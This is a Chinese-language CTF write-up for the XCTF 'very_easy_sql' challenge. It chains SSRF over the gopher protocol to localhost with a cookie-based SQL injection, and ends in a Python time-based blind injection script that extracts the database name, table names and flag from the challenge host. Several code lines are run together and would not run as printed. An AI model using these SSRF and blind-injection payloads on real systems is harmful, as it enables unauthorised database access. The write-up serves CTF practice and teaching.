XCTF_very_easy_sql

• 简单的进行sql注入测试后发现不简单
• 尝试一下按照提示

• 结合这句提示
• 应该是内部访问，所以采用的手段应该是ssrf
• 顺便看看包
  
• 唯一值得关注的是set-cookie
• 说回ssrf
• 唯一能使用的方式应该是Gopher协议
• 找到了一个POST的python脚本

import urllib.parsepayload = """
POST /index.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
uname=admin&passwd=admin
"""
tmp = urllib.parse.quote(payload) 
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new 
result = urllib.parse.quote(result)
print(result) #输出结果

gopher://127.0.0.1:80/_POST%20/%20HTTP/1.1%0d%0aHost:%20127.0.0.1:80%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%2023%0d%0a%0d%0auname=rick&passwd=morty%0d%0a

• 使用burp进行抓包
  

• 似乎根据用户名分配cookie
• 注入点在cookies
• 构造

import urllib.parsehost = "127.0.0.1:80"
cookie="this_is_your_cookie=YWRtaW4nICM="test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}""".format(host,cookie)tmp = urllib.parse.quote(test) 
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new) 
print("gopher://"+host+"/_"+result)

• 然后进行内部网络盲注爆破字段

import urllib.parse
import requests
import time
import base64url = "http://61.147.171.105:52686//use.php?url="
flag = ""
for pos in range(1, 50):for i in range(33, 127):# poc="') union select 1,2,if(1=1,sleep(5),1) # "# security# poc="') union select 1,2,if(ascii( substr((database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "# flag# poc="') union select 1,2,if(ascii( substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "poc = "') union select 1,2,if(ascii( substr((select * from flag)," + str(pos) + ",1) )=" + str(i) + ",sleep(2),1) # "bs = str(base64.b64encode(poc.encode("utf-8")), "utf-8")final_poc = "gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aCookie%3A%20this%5Fis%5Fyour%5Fcookie%3D" + bs + "%3B%250d%250a"t1 = time.time()res = requests.get(url + final_poc)t2 = time.time()if (t2 - t1 > 2):flag += chr(i)print(flag)break
print(flag)- 执行结果